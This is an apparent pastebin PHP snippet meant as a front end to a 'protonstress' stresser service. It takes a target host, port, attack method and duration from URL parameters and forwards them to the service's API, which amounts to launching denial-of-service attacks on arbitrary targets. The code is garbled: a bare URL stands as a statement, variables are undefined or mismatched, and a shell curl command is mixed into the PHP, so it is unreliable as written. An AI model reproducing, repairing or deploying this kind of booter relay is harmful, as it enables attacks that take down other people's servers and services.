· 5 years ago · Jun 15, 2020, 12:14 AM
1<?php
2$yourkey = "s";//protonstress API key
3$APIKeys = array("Keys1", "Keys2", "Keys3");//your personalised API Key
4http://host/file.php?key=sitekey
5
6 if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
7
8 die("You are missing a parameter");
9
10$sitekey = $_GET['key'];
11$method = $_GET['method'];
12$target = $_GET['host'];
13$port = $_GET['port'];
14$time = $_GET['time'];
15if (!in_array($key, $APIKeys)) die("Invalid API key");
16
17$yourkey = "s";
18curl --request GET https://protonstress.vip/api.php?$yourkey&host=$host&port=$port&time=$time&method=$method